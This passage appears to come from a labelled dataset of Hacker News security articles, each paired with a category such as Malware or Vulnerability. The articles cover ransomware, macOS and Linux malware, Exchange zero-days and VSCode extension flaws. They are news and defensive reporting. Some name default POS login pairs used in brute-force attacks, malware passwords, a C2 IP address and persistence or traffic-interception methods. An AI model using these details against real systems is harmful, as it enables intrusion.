""NW.js allows for much more control and interaction with the underlying operating system (OS), enabling JavaScript to do almost everything 'normal' programming languages like C++ or Delphi can do,"" Emsisoft's Fabian Wosar writes.
The NW.js framework not only allows for cross-platform infections but also is harder to detect because it is a legitimate framework. Ransom32 has some resemblance to CryptoLocker that is one of the nasty ransomware that already infected millions of PCs.

Ransom32 has been traded on the dark web with the authors asking for a 25 percent cut of all ransom payments for offering its service and forwarding the rest of the amount to the operator's Bitcoin address.

Also Read: Free CryptoLocker Ransomware Decryption Tool Released

How Does Ransom32 Work?

Malware operators place the malicious file inside emails masquerading as delivery notifications, unpaid invoices, and such.

As soon as it was installed and launched, Ransom32 connected to a command-and-control (C&C) server on TOR anonymising network, displaying ransom note as shown above and the Bitcoin address where victims are supposed to pay to recover their files.

Currently, Wosar has only seen Ransom32 as a Windows attack vector, but the NW.js framework can run on all three major operating systems.

Therefore, ransomware coded to work on top of NW.js would theoretically be able to target Mac OS X as well as Linux operating systems.

How to Protect Yourself from Ransomware Threat?

Here are some important steps that should be considered to protect yourself from Ransomware threats.
Always keep regular backups of your important data.
Make sure you run an active anti-virus security suite of tools on your system.
Do not open email attachments from unknown sources.
Most importantly, always browse the Internet safely.

To keep yourself safe, we also have an excellent article on How to protect your computer from ransomware malware?

",Malware
"New MacOS Malware, Signed With Legit Apple ID, Found Spying On HTTPS Traffic",https://thehackernews.com/2017/04/apple-mac-malware.html,"Many people believe that they are much less likely to be bothered by malware if they use a Mac computer, but is it really true? Unfortunately, No.

According to the McAfee Labs, malware attacks on Apple's Mac computers were up 744% in 2016, and its researchers have discovered nearly 460,000 Mac malware samples, which is still just a small part of overall Mac malware out in the wild.

Today, Malware Research team at CheckPoint have discovered a new piece of fully-undetectable Mac malware, which according to them, affects all versions of Mac OS X, has zero detections on VirusTotal and is ""signed with a valid developer certificate (authenticated by Apple).""

Dubbed DOK, the malware is being distributed via a coordinated email phishing campaign and, according to the researchers, is the first major scale malware to target macOS users.

The malware has been designed to gain administrative privileges and install a new root certificate on the target system, which allows attackers to intercept and gain complete access to all victim communication, including SSL encrypted traffic.

Just almost three months ago, Malwarebytes researchers also discovered a rare piece of Mac-based espionage malware, dubbed Fruitfly, that was used to spy on biomedical research center computers and remained undetected for years.

Here's How the DOK Malware Works:
The malware is distributed via a phishing email masquerading as a message regarding supposed inconsistencies in their tax returns, tricking the victims into running an attached malicious .zip file, which contains the malware.

Since the malware author is using a valid developer certificate signed by Apple, the malware easily bypasses Gatekeeper -- an inbuilt security feature of the macOS operating system by Apple. Interestingly, the DOK malware is also undetectable in almost all antivirus products.

Once installed, the malware copies itself to the /Users/Shared/ folder and then add to ""loginItem"" in order to make itself persistent, allowing it to execute automatically every time the system reboots, until it finishes to install its payload.

The malware then creates a window on top of all other windows, displaying a message claiming that a security issue has been identified in the operating system and an update is available, for which the user has to enter his/her password.

Once the victim installed the update, the malware gains administrator privileges on the victim's machine and changes the victim system's network settings, allowing all outgoing connections to pass through a proxy.

According to CheckPoint researchers, ""using those privileges, the malware will then install brew, a package manager for OS X, which will be used to install additional tools – TOR and SOCAT.""

DOK Deletes itself after Setting up Attacker's Proxy
The malware then installs a new root certificate in the infected Mac, which allows the attacker to intercept the victim's traffic using a man-in-the-middle (MiTM) attack.
""As a result of all of the above actions, when attempting to surf the web, the user's web browser will first ask the attacker web page on TOR for proxy settings,"" the researchers say.

""The user traffic is then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-Middle attack and impersonates the various sites the user attempts to surf. The attacker is free to read the victim's traffic and tamper with it in any way they please.""
According to researchers, almost no antivirus has updated its signature database to detect the DOK OS X malware, as the malware deletes itself once it modifies proxy settings on the target machines for interceptions.

Apple can resolve this issue just by revoking the developer certificate being abused by the malware author.

Meanwhile, users are always recommended to avoid clicking links contained in messages or emails from untrusted sources and always pay extra attention before proving your root password.

Update: Apple Revokes Certificate Used By Dok Mac Malware
After this story had gone up, Apple responded to the issue and revoked the legitimate developer certificate used by hackers behind the DOK malware that can be used to eavesdrop on victim's communication, including secure HTTPS traffic.

MalwareBytes has confirmed this in its blog post, which reads: ""Apple has already revoked the certificate used to sign the app, so, at this point, anyone who encounters this malware will be unable to open the app and unable to be infected by it.""

It further adds: ""If the user clicks past this warning to open the app, it will display a warning that the file could not be opened, which is simply a cover for the fact that no document opened, as shown above.""

Besides this, Apple also rolled out an update this weekend to its XProtect built-in anti-malware software in an attempt to prevent existing and future DOK-type malware attacks.

",Malware
"Batchwiper malware, new virus targets Iranian computers",https://thehackernews.com/2012/12/batchwiper-malware-new-virus-targets.html,"Iranian CERT is sounding the alarm over another bit of data-deleting malware it's discovered on PCs in the country. Dubbed Batchwiper, the malware systematically wipes any drive partitions starting with the letters D through I Drive, along with any files stored on the Windows desktop of the user who is logged in when it's executed

Why naming Batchwiper ? The name was chosen because the malware is packed in a batch file.

The malware initiates its data wiping routine on certain dates, the next one being Jan. 21 2013. However, the dates of Oct. 12, Nov. 12 and Dec. 12, 2012, were also found in the malware's configuration, suggesting that it may have been in distribution for at least two months.

GrooveMonitor.exe is the original dropper, which is a self-extracting RAR file, once executed it extracts the following files:

-- \WINDOWS\system32\SLEEP.EXE, md5: ea7ed6b50a9f7b31caeea372a327bd37

-- \WINDOWS\system32\jucheck.exe, md5: c4cd216112cbc5b8c046934843c579f6

-- \WINDOWS\system32\juboot.exe, md5: fa0b300e671f73b3b0f7f415ccbe9d41

Then juboot.exe is executed, which create and execute following batch file :

\Documents and Settings\%User%\Local Settings\Temp\1.tmp\juboot.bat

According to the Iranian CERT advisory, ""However, it is not considered to be widely distributed. This targeted attack is simple in design and it is not any similarity to the other sophisticated targeted attacks.""

In past, Iran has accused the US and Israel of being behind the Flame attack as well as the Stuxnet virus. Such attacks are seen as en effort to cripple the Islamic Republic's nuclear program, which Western countries fear is being used to make a bomb.

",Malware
Cyber crime Complaints in US Fell by 10% in 2010 !,https://thehackernews.com/2011/02/cyber-crime-complaints-in-us-fell-by-10.html,"The U.S. agency that tracks complaints of criminal activity on the Internet reported Thursday that fewer people complained about Internet fraud in 2010 than in the previous year.



The Internet Crime Complaint Center (IC3) runs a Web site where victims can report details of any cyberfraud. It shares the data with law enforcement agencies to help them hunt down criminals. Last year it received 303,809 complaints, almost 10 percent fewer than the previous year's total of 336,655.
The IC3 is run by the U.S. Federal Bureau of Investigation and the National White Collar Crime Center. It released its annual report Thursday, based on data submitted in 2010.
The largest single source of complaints was from people who had been duped by criminals posing as buyers and sellers. International scammers, preying on eBay and Craigslist users, have made millions over the past decade. Just last week, a Romanian national, Adrian Ghighina, pleaded guilty to his role in a scam that took in $2.7 million by tricking eBay, Craigslist and AutoTrader.com users into paying for vehicles that were never delivered.
Even without factoring in the fraud at online auction sites, which the IC3 counts separately, this type of activity accounted for 14.4 percent of complaints, the IC3 said. That's a noticeable jump from 2009, when the total was 11.9 percent.
Complaints about 2009's most-reported scam -- malware-laden emails that purported to come from the FBI itself -- dropped in 2010. In 2009 these fake FBI emails were a big problem, totaling nearly 17 percent of all complaints. In 2010, they totalled 13.2 percent.
There was also a drop in complaints about ""advance fee scams,"" where the victim is promised a big lottery payout or inheritance as soon as they pay a phoney administrative fees. These dropped from 9.8 percent in 2009 to 7.6 percent last year.
It's not surprising if scammers are looking for new activities because consumers may be getting wise about some of these crimes, said Adam Chernichaw, a partner with the law firm White & Case in New York, who consults with financial services companies. ""After a number of years in the spotlight you get your consumer base educated and they search for an easier route,"" he said.
Chernichaw believes the overall number of complaints may be down because companies are getting better at dealing with fraud. Online merchants are getting better about refusing suspicious transactions and automated fraud detection tools are picking up scams earlier, he said.

",Malware
23-year-old Stack overflow vulnerability discovered in X11 Server,https://thehackernews.com/2014/01/23-year-old-stack-overflow.html,"X.Org Foundation develops the X-Window System, the standard window system for open source operating systems and devices. Most of the graphical user interfaces for Unix and Linux systems rely on it.

At the 30th Chaos Communication Congress (CCC) in Germany, Ilja van Sprundel, a security researcher gave the presentation titled ""X11 Server security with being 'worse than it looks.'"". He found more than 120 bugs in a few months.

In the presentation, he has presented a 23 year old Stack overflow vulnerability in X11 System that could lead to privilege escalation to root and affects all versions of the X Server back to X11R5.

Later today, X.Org Foundation released a security Advisory, states ""A BDF font file containing a longer than expected string could overflow the buffer on the stack. Testing in X servers built with Stack Protector resulted in an immediate crash when reading a user-provided specially crafted font.""
The flaw resides in a file at ""libXfont/tree/src/bitmap/bdfread.c"" and this LibXfont library used to handle fonts in all the X-servers, often working with root privilege. So a successful exploitation could lead to privilege escalation to root user.
The vulnerability assigned as CVE-2013-6462, was discovered using an automated cppcheck static analysis tool.

Platforms Affected:
X.Org libXfont 1.2.1
X.Org libXfont 1.2.2
X.Org libXfont 1.3.1
X.Org libXfont 1.4.3
X.Org Foundation has released a patch for it, includes new version libXfont 1.4.7.

",Vulnerability
More details about alleged 17-year-old Russian BlackPOS Malware Author released,https://thehackernews.com/2014/01/Russian-hacker-BlackPOS-Malware-Author.html,"Security experts at IntelCrawler provided a new interesting update on BlackPOS malware author, that he forgot to delete his Social networking profile even after the last exposure from the investigators.

As we have reported a few days before that the Intelligence firm IntelCrawler has identified a 17 year old teenager, known as ""Ree [4]"" in the underground market, as the author of the BlackPOS/Kaptoxa malware used in the attack against Target and Neiman Marcus retailers.

The teenager is not directly responsible for the Target attack, but he sold the BlackPOS to other Cyber Gangs, including the admin's of underground credit cards market places, "".rescator"", ""Track2.name"", ""Privateservices.biz"" and many others were his clients.

Who is Ree[4]?
IntelCrawler exposed REE[4]'s original profile as Sergey Taraspov, a 17 year old Russian programmer, based in St.Petersburg and Nizhniy Novgorod (Russian Federation).

Before both breaches IntelCrawler detected large-scale RDP brute-forcing attacks on Point-of-Sales terminals across the US, Australia and Canada started at the beginning of 2013 year in winter period with weak passwords such as:
""pos"":""pos"";
""micros"":""micros"" (MICROS Systems, Inc. - Point-of-Sale Hardware);
""edc"":""123456"" (EDC - Electronic Draft Capture).
After the last report from 'IntelCrawler' team, we have noticed the reaction from few security researchers, making doubts about the investigation and details about Ree[4]'s profile.

Today we have another exclusive update and more evidences from Security researchers at IntelCrawler on the author of BlackPOS. The author of BlackPOS is the bad actor with nickname ""ree4"" or ""ree[4]"", he started to sell this malware on one of underground forums called ""Exploit.in"", as the following screenshot suggests:
Despite the author of BlackPOS malware is a cyber expert, it seems that he has ignored the power of social networking platform, and the possibility to use them for OSINT (Open-source intelligence) purposes.

Popular Russian Social networking website called 'VKontakte' has a profile with the same nickname as BlackPOS's author. Obviously this is not a body of evidence.

To collect more evidences, the researchers at IntelCrawler noted that one of the interest mentioned on that profile is ""coding"", and they have also matched the email address of the profile through password recovery option by email:
According to operative information from IntelCrawler, the person behind the nickname ""ree[4]"" is Rinat Shibaev, working closely with Sergey Taraspov, who was acting as his technical support, having roots in St.Petersburg (Russian Federation), very well known coder of malicious code in the underground community.

Let's wait for new updates from Andrew Komarov, Dan Clements and the experts at IntelCrawler.

",Data_Breaches
Apple Releases Dozens of Security Patches for Everything,https://thehackernews.com/2017/05/apple-security-patches.html,"While Windows users are currently in fear of getting their systems hijacked by the WannaCry ransomware outbreak, Apple users are sitting relaxed, thinking that malware attacks are something that happens to Windows users, and not Apple.

But you are mistaken – Apple products are also not immune to the hack attacks and malware infections, as an ebook can hack your Mac, iPhone, and iPad.

Apple on Monday pushed out software updates for iOS, macOS, Safari, tvOS, iCloud, iTunes, and watchOS to fix a total of 67 unique security vulnerabilities, many of which allows attackers to perform remote code execution on an affected system.

iOS is 10.3.2 for iPhone, iPad, and iPod

Apple's mobile operating system iOS 10.3.2 for the iPhone, iPad and iPod touch addresses 41 security flaws, 23 of which resides in WebKit, including 17 remote code execution and 5 cross-site scripting (XSS) vulnerabilities.

Besides this, iOS 10.3.2 also addresses a pair of flaws in iBooks for iOS (CVE-2017-2497, CVE-2017-6981) that could allow e-books to open arbitrary websites and execute malicious code with root privileges.

Other flaws addressed in iOS 10.3.2 include a memory corruption issue in AVE Video Encoder that could allow a malicious application to gain kernel-level privileges, and a certificate validation issue in the certificate trust policy for handling of untrusted certificates.

Apple users can install iOS 10.3.2 by connecting their iOS devices to iTunes or downloading it directly by going to the Settings → General → Software Update.

macOS Sierra 10.12.5 for El Capitan and Yosemite

Apple's Mac operating system macOS Sierra 10.12.5 addresses a total of 37 vulnerabilities, including a pair of bugs in iBook that allow the execution of arbitrary code with root privileges, and a separate bug in iBook that allows an application to escape its secure sandbox.

Other flaws addressed in macOS Sierra 10.12.5 include a Wi-Fi networking issue that allows the theft of network credentials, elevation of privilege bugs in both the Intel and Nvidia graphics drivers, and four different arbitrary code execution flaws in SQLite.

Mac users can download the update through the App Store → Updates. Alternatively, macOS Sierra users can be download Sierra 10.12.5 as a stand-alone update, OS X El Capitan users can download the update here, and OS X Yosemite users can get the security update here.

Safari 10.1.1 for Apple Browser

Safari 10.1.1 addresses a total of 26 security issues, 23 of which resides in WebKit, many of which are also patched in the iOS 10.3.2.

Rest three vulnerabilities are patched in the Safari browser itself.

The Safari 10.1.1 update can be downloaded by going to the App Store → Updates on El Capitan and Yosemite systems.

watchOS 3.2.2 for Apple Watch

Apple Watch users should install watchOS 3.2.2 that patches a total of 12 security vulnerabilities, four of which could be used by attackers to execute remote code execution on the affected device.

Users of Apple Watch can download watchOS 3.2.2 by connecting their watch to its charger, and opening the Apple Watch app → My Watch tab → General → Software Update on their iPhone.

tvOS 10.2.1 for Apple TV

Apple has also released tvOS 10.2.1 to patch a total of 23 vulnerabilities, 12 of which resides in WebKit engine that could allow an attacker to perform cross-site scripting and remote code execution attacks on a target device.

The tvOS 10.2.1 update can be downloaded directly from the Apple TV by going to Settings → System → Update Software.

iTunes 12.6.1 for Windows and iCloud for Windows 6.2.1

Meanwhile, Apple also released patches for Windows users using iTunes and iCloud. Both iTunes 12.6.1 and iCloud 6.2.1 patches a single remote code execution bug in WebKit for Windows 7 and later.

Apple users are recommended to update all their operating systems for Apple products and Safari as soon as possible before cyber criminals exploited them. Patches are available through automatic updates.

",Vulnerability
Google Hacker Discloses New Linux Kernel Vulnerability and PoC Exploit,https://thehackernews.com/2018/09/linux-kernel-exploit.html,"A cybersecurity researcher with Google Project Zero has released the details, and a proof-of-concept (PoC) exploit for a high severity vulnerability that exists in Linux kernel since kernel version 3.16 through 4.18.8.

Discovered by white hat hacker Jann Horn, the kernel vulnerability (CVE-2018-17182) is a cache invalidation bug in the Linux memory management subsystem that leads to use-after-free vulnerability, which if exploited, could allow an attacker to gain root privileges on the targeted system.

The use-after-free (UAF) vulnerabilities are a class of memory corruption bug that can be exploited by unprivileged users to corrupt or alter data in memory, enabling them to cause a denial of service (system crash) or escalate privileges to gain administrative access on a system.

Linux Kernel Exploit Takes an Hour to Gain Root Access

However, Horn says his PoC Linux kernel exploit made available to the public ""takes about an hour to run before popping a root shell.""

Horn responsibly reported the vulnerability to Linux kernel maintainers on September 12, and the Linux team fixed the issue in his upstream kernel tree within just two days, which Horn said was ""exceptionally fast, compared to the fix times of other software vendors.""

The Linux kernel vulnerability was disclosed on the oss-security mailing list on September 18 and was patched in the upstream-supported stable kernel versions 4.18.9, 4.14.71, 4.9.128, and 4.4.157 on the next day.

There's also a fix in release 3.16.58.

Debian and Ubuntu Linux Left its Users Vulnerable for Over a Week

""However, a fix being in the upstream kernel does not automatically mean that users' systems are actually patched,"" Horn noted.

The researcher was disappointed knowing that some major Linux distributions, including Debian and Ubuntu, left their users exposed to potential attacks by not releasing kernel updates more than a week after the vulnerability was made public.

As of Wednesday, both Debian stable and Ubuntu releases 16.04 and 18.04 had not patched the vulnerability.

However, the Fedora project already rolled out a security patch to its users on 22 September.
""Debian stable ships a kernel based on 4.9, but as of 2018-09-26, this kernel was last updated 2018-08-21. Similarly, Ubuntu 16.04 ships a kernel that was last updated 2018-08-27,"" Horn noted.
""Android only ships security updates once a month. Therefore, when a security-critical fix is available in an upstream stable kernel, it can still take weeks before the fix is actually available to users—especially if the security impact is not announced publicly.""
In response to the Horn's blog post, the maintainers of Ubuntu says the company would possibly release the patches for the Linux kernel flaw around October 1, 2018.

Horn said that once the patch is deployed in the upstream kernel, the vulnerability and patch becomes public, which, in this case, could allow malicious actors to develop a Linux kernel exploit to target users.


",Vulnerability
"Bitstamp Bitcoin Exchange Hacked, $5 Million Stolen in Hack Attack",https://thehackernews.com/2015/01/bitstamp-bitcoin-exchange-hacked.html,"One of the biggest, reliable and most trusted Bitcoin exchange — Bitstamp — on Monday announced that it has been a target of a hacking attack, which lead to the theft of ""less than 19,000 BTC"" (worth about $5 million in virtual currency; one BTC is about $270).

Bitstamp issued a statement on its official website in which the company warned its users not to deposit any Bitcoin to previously issued addresses, so as to prevent further losses. While the investigation is going on, the company has frozen its user accounts, blocked deposits as well as other transactions and suspended the trading business.

After the Slovenian-based Bitcoin exchange suspected the security breach over the weekend that compromised one of Bitstamp's operational and active bitcoin storage wallets, the exchange suspended its service for the time being.

The company reassured its users that the security breach only affected its ""operational wallet,"" i.e. only ""a small fraction of customer bitcoins"" that were stored on internet-connected servers.

The good news is that the European bitcoin exchange is more careful about the need for security following those high profile security breaches. Bitstamp claims it kept the wide majority of bitcoins in ""cold storage,"" servers that aren't connected to the internet. That, if true, could mean any damage from this suspected hack may not affect the customer to the extent.

""The bulk of our [Bitstamp's] bitcoin are in cold storage, and remain completely safe,"" Co-founder and chief executive Nejc Kodric said in a tweet, assuring its customers that their Bitcoins are secure. According to him, any compromised bitcoins can be recovered from its ""cold"" offline storage reserve.

Bitstamp has also said that all customers' ""balances held prior to our temporary suspension of services will not be affected and will be honored in full.""

So far, there is no clue about the hackers and how the theft happened. Also, the company hasn't revealed any other details about suspects behind the breach or when its service will resume. ""We will return to service and amend our security measures as appropriate,"" the company said.
""We appreciate customers' patience during this disruption of services,"" Bitstamp added in the notice. ""We are working to transfer a secure backup of the Bitstamp site onto a new safe environment and will be bringing this online in the coming days.""
This is the another major blow to Bitcoin's users, after the case of Japanese bitcoin exchange Mt. Gox, once one of the most influential exchanges, in which the company lost over half a billion dollars in a hack attack and liquidated itself, and the currency's value came crashing down from over $1,000 in 2013 to about a quarter of that at present. At that same time Silk Road 2 lost over $2 million bitcoins following a hack.

However, it doesn't mean that Bitcoin is completely losing ground. Microsoft began accepting the cryptocurrency for digital purchases from Windows, Windows Phone, Xbox Games, Xbox Music, and Xbox Video stores in the US last month. Bitstamp's security breach is just another reminder for the exchanges that no digital assets are completely secured.

",Cyber_Attack
Wormable DarkRadiation Ransomware Targets Linux and Docker Instances,https://thehackernews.com/2021/06/wormable-darkradiation-ransomware.html,"Cybersecurity researchers are sounding the alarm bell over a new ransomware strain called ""DarkRadiation"" that's implemented entirely in Bash and targets Linux and Docker cloud containers, while banking on messaging service Telegram for command-and-control (C2) communications.
""The ransomware is written in Bash script and targets Red Hat/CentOS and Debian Linux distributions,"" researchers from Trend Micro said in a report published last week. ""The malware uses OpenSSL's AES algorithm with CBC mode to encrypt files in various directories. It also uses Telegram's API to send an infection status to the threat actor(s).""
As of writing, there's no information available on the delivery methods or evidence that the ransomware has been deployed in real-world attacks.
The findings come from an analysis of a collection of hacking tools hosted on the unidentified threat actor's infrastructure (IP address ""185.141.25.168"") in a directory called ""api_attack."" The toolset was first noticed by Twitter user @r3dbU7z on May 28.
DarkRadiation's infection chain involves a multi-stage attack process and is noteworthy for its extensive reliance on Bash scripts to retrieve the malware and encrypt the files as well as Telegram API to communicate with the C2 server via hardcoded API keys.
Encryption Process
Said to be under active development, the ransomware leverages obfuscation tactics to scramble the Bash script using an open-source tool called ""node-bash-obfuscate"" to split the code into multiple chunks, followed by assigning a variable name to each segment and replacing the original script with variable references.
Upon execution, DarkRadiation checks if it's run as the root user, and if so, uses the elevated permissions to download and install Wget, cURL, and OpenSSL libraries, and takes a periodic snapshot of the users that are currently logged into a Unix computer system using the ""who"" command every five seconds, the results of which are then exfiltrated to an attacker-controlled server using the Telegram API.
""If any of these [libraries] are not available on the infected device, the malware attempts to download the required tools using YUM (Yellowdog Updater, Modified), a python-based package manager widely adopted by popular Linux distros such as RedHat and CentOS,"" SentinelOne researchers explained in a parallel write-up of DarkRadiation published Monday.
The ransomware, in its final phase of the infection, retrieves a list of all available users on the compromised system, overwrites existing user passwords with ""megapassword,"" and deletes all shell users, but not before creating a new user with the username ""ferrum"" and password ""MegPw0rD3"" to proceed with the encryption process.
Worm-like Spreading Functionality
Interestingly, SentinelOne's analysis reveals different variations wherein the password for the user ""ferrum"" is downloaded from the attacker's C2 server in few versions, while in others, it is hardcoded with strings such as ""$MeGaPass123#,"" implying that the malware is undergoing rapid changes prior to actual deployment.
""It must be noted that the ransomware appends radioactive symbols ('.☢') as a file extension for an encrypted file,"" Trend Micro threat researcher Aliakbar Zahravi said.
A second moving part associated with the attack is an SSH worm that's engineered to receive a credential configuration in the form of a base64-encoded parameter. Subsequently, this encoded argument is used to connect to the target system using the SSH protocol, and eventually download and execute the ransomware.
In addition to reporting the execution status, along with the encryption key, back to the adversary's Telegram channel through the API, DarkRadiation also comes with capabilities to stop and disable all running Docker containers on the infected machine, after which a ransom note is displayed to the user.
""Malware written in shell script languages allows attackers to be more versatile and to avoid some common detection methods,"" SentinelOne researchers said.
""As scripts do not need to be recompiled, they can be iterated upon more rapidly. Moreover, since some security software relies on static file signatures, these can easily be evaded through rapid iteration and the use of simple obfuscator tools to generate completely different script files.""

",Cyber_Attack
CISA Issues Emergency Directive on In-the-Wild Microsoft Exchange Flaws,https://thehackernews.com/2021/03/cisa-issues-emergency-directive-on-in.html,"Following Microsoft's release of out-of-band patches to address multiple zero-day flaws in on-premises versions of Microsoft Exchange Server, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive warning of ""active exploitation"" of the vulnerabilities.
The alert comes on the heels of Microsoft's disclosure that China-based hackers were exploiting unknown software bugs in Exchange server to steal sensitive data from select targets, marking the second time in four months that the U.S. has scrambled to address a widespread hacking campaign believed to be the work of foreign threat actors.
While the company mainly attributed the campaign to a threat group called HAFNIUM, Slovakian cybersecurity firm ESET said it found evidence of CVE-2021-26855 being actively exploited in the wild by several cyber espionage groups, including LuckyMouse, Tick, and Calypso targeting servers located in the U.S., Europe, Asia, and the Middle East.
Researchers at Huntress Labs have also sounded the alarm about mass exploitation of Exchange servers, noting that over 350 web shells have been discovered across approximately 2,000 vulnerable servers.
""Among the vulnerable servers, we also found over 350 web shells — some targets may have more than one web shell, potentially indicating automated deployment or multiple uncoordinated actors,"" Huntress senior security researcher John Hammond said. ""These endpoints do have antivirus or EDR solutions installed, but this has seemingly slipped past a majority of preventative security products.""
The latest development indicates a much larger spread that extends beyond the ""limited and targeted"" attacks reported by Microsoft earlier this week.
It's not clear if any U.S. government agencies have been breached in the campaign, but the CISA directive underscores the urgency of the threat.
Strongly urging organizations to apply the patches as soon as possible, the agency cited the ""likelihood of widespread exploitation of the vulnerabilities after public disclosure and the risk that federal government services to the American public could be degraded.""

",Cyber_Attack
ClickIndia Classifieds network hacked by Sec Indi,https://thehackernews.com/2011/09/clickindia-classifieds-network-hacked.html,"The Sec Indi Security Team has found Multiple major flaws on Clickindia.com - One of the biggest Classifieds network. There is a highly possible chance to damage ClickIndia system or to steal the Database. Hackers Exploit it via SQL Injection Vulnerability.

",Vulnerability
Malware in your Mouse can act as RAT for Cyber Criminals,https://thehackernews.com/2012/10/malware-in-your-mouse-can-act-as-rat.html,"Recently we reported about that Symantec provide overview and analysis of the year in global threat activity via its Internet Security Threat Report (ISTR), with a exclusive details that 400 million new variants of malware were created in 2011, which is an average of 33 million new variants of malware a month, or an average of one million new variants a day.

In order to develop malware that evades detection by the security companies malware writers come up with some clever, yet quite simple techniques. If malware stops itself when it detects that it is running in a virtual environment, it may trick an automated threat analysis system into thinking that it is a clean program.

So malware may not only fool automated threat analysis systems, but also a corporate system administrator who is searching for computers compromised by malware. Malware authors have recently attempted to use other approaches to fool automated threat analysis systems as well.

Latest example of such Trojan is that , where malware attaches its malicious code to routines normally used only to control the inputs from mouse clicks. The malicious code is designed to remain inactive unless the mouse itself is in use, giving a fair chance that the RAT will remain undetected, in the never ending cat and mouse game these two parties play.

Technically, this malware variant uses the SetWindowsHookExA Windows API function to inject itself into the message handling functions that process mouse events. When the code runs, it waits 300,000 milliseconds, or five minutes, before executing the DecryptCode subroutine, as shown in the image above. It then waits 20 minutes and executes the ModifyRegistry subroutine

After executing the Network_main subroutine, it waits another 20 minutes. Automated threat analysis systems only spend a small amount of time on one file so they may not detect the code as malware. Researchers also come across strains of malware that use ""sleep mode"" to evade dynamic analysis systems.

",Malware
DocuSign Data Breach Led to Targeted Email Malware Campaign,https://thehackernews.com/2017/05/DocuSign-data-breach.html,"While we all were busy in the WannaCry ransomware menace, two separate data breaches have been reported, one in DocuSign, a major provider of electronic signature technology, and another in BELL, Canada's largest telecommunications company.

In a notice on its website on Tuesday, DocuSign confirmed a breach at one of its email systems when investigating the cause of an increase in DocuSign-impersonating phishing emails.

""A malicious third party had gained temporary access to a separate, non-core system that allows us to communicate service-related announcements to users via email,"" DocuSign said in the announcement.

What Happened?

An unknown hacker or group of hackers managed to breach one of the electronic signature technology provider's email systems and steal a database containing the email addresses of DocuSign customers.

The attackers then used the stolen data to conduct an extensive phishing campaign to target the DocuSign's users over the past week.

The phishing email masqueraded as documents sent from another company with the subject line ""Completed *company name* – Accounting Invoice *number* Document Ready for Signature,"" needing a digital signature from the recipient.

The emails, sent from domains including dse@docus.com, included a downloadable Microsoft Word document, which when clicked, installs ""macro-enabled-malware"" on the victim's computers.

What type of information?

The company said only email addresses of its customers had been accessed in the breach.

However, DocuSign assured its customers that no names, physical addresses, passwords, social security numbers, credit card information or any other information had been accessed by the attackers.
""No content or any customer documents sent through DocuSign's eSignature system was accessed; and DocuSign's core eSignature service, envelopes and customer documents, and data remain secure,"" the company stressed.

How many victims?

The number of victims affected by the phishing campaign has not been confirmed, but DocuSign encourages its customers to use the DocuSign Trust Center to help them protect themselves and their employees from phishing attacks.

""Right now we are still acting on the results of our ongoing investigation and cannot comment on those details,"" the company said.

What is DocuSign doing?

In an attempt to protect its customers, DocuSign has immediately restricted unauthorized access to its system and placed further security controls in place to hardened the security of its systems.

The company is also actively working with law enforcement authorities on the investigation of this matter.

What should DocuSign customers do?

DocuSign recommended its users to delete any email with the following subject line:

Completed: [domain name] – Wire transfer for recipient-name Document Ready for Signature
Completed: [domain name/email address] – Accounting Invoice [Number] Document Ready for Signature.

If you receive any suspicious email, you should forward it to the company's spam address, advised DocuSign.

Also, if the email looks like it has come from DocuSign, just do not respond to that email or click on any link provided in the message.

Instead, access your documents directly by visiting DocuSign official website, and entering the unique security code provided at the bottom of every legit DocuSign email.

The company also informed its users that DocuSign never asks recipients to open any PDF, Office document or ZIP file in an email. Last but not the least, always make sure your antivirus software is up-to-date.

",Cyber_Attack
Newly Discovered Bugs in VSCode Extensions Could Lead to Supply Chain Attacks,https://thehackernews.com/2021/05/newly-discovered-bugs-in-vscode.html,"Severe security flaws uncovered in popular Visual Studio Code extensions could enable attackers to compromise local machines as well as build and deployment systems through a developer's integrated development environment (IDE).
The vulnerable extensions could be exploited to run arbitrary code on a developer's system remotely, in what could ultimately pave the way for supply chain attacks.
Some of the extensions in question are ""LaTeX Workshop,"" ""Rainbow Fart,"" ""Open in Default Browser,"" and ""Instant Markdown,"" all of which have cumulatively racked up about two million installations between them.
""Developer machines usually hold significant credentials, allowing them (directly or indirectly) to interact with many parts of the product,"" researchers from open-source security platform Snyk said in a deep-dive published on May 26. ""Leaking a developer's private key can allow a malicious stakeholder to clone important parts of the code base or even connect to production servers.""
VS Code extensions, like browser add-ons, allow developers to augment Microsoft's Visual Studio Code source-code editor with additional features like programming languages and debuggers relevant to their development workflows. VS Code is used by 14 million active users, making it a huge attack surface.
The attack scenarios devised by Snyk bank on the possibility that the installed extensions could be abused as a vector for supply chain attacks by exploiting weaknesses in the plugins to break into a developer system effectively. To that effect, the researchers examined VS Code extensions that had vulnerable implementations of local web servers.
In one case highlighted by Snyk researchers, a path traversal vulnerability identified in Instant Markdown could be leveraged by a nefarious actor with access to the local web server (aka localhost) to retrieve any file hosted on the machine by simply tricking a developer into clicking a malicious URL.
As a proof-of-concept (PoC) demonstration, the researchers showed it was possible to exploit this flaw to steal SSH keys from a developer who is running VS Code and has Instant Markdown or Open in Default Browser installed in the IDE. LaTeX Workshop, on the other hand, was found susceptible to a command injection vulnerability due to unsanitized input that could be exploited to run malicious payloads.
Lastly, an extension named Rainbow Fart was ascertained to have a zip slip vulnerability, which allows an adversary to overwrite arbitrary files on a victim's machine and gain remote code execution. In an attack formulated by the researchers, a specially-crafted ZIP file was sent over an ""import-voice-package"" endpoint used by the plugin and written to a location that's outside of the working directory of the extension.
""This attack could be used to overwrite files like '.bashrc' and gain remote code execution eventually,"" the researchers noted.
Although the flaws in the extensions have since been addressed, the findings are important in light of a series of security incidents that show how developers have emerged as a lucrative attack target, what with threat actors unleashing a variety of malware to compromise development tools and environments for other campaigns.
""What has been clear for third-party dependencies is also now clear for IDE plugins — they introduce an inherent risk to an application,"" Snyk researchers Raul Onitza-Klugman and Kirill Efimov said. ""They're potentially dangerous both because of their custom written code pieces and the dependencies they are built upon. What has been shown here for VS Code might be applicable to other IDEs as well, meaning that blindly installing extensions or plugins is not safe (it never has been).""

",Vulnerability
Sweden Accidentally Leaks Personal Details of Nearly All Citizens,https://thehackernews.com/2017/07/sweden-data-breach.html,"Another day, Another data breach!

This time sensitive and personal data of millions of transporters in Sweden, along with the nation's military secrets, have been exposed, putting every individual's as well as national security at risk.

Who exposed the sensitive data? The Swedish government itself.

Swedish media is reporting of a massive data breach in the Swedish Transport Agency (Transportstyrelsen) after the agency mishandled an outsourcing deal with IBM, which led to the leak of the private data about every vehicle in the country, including those used by both police and military.

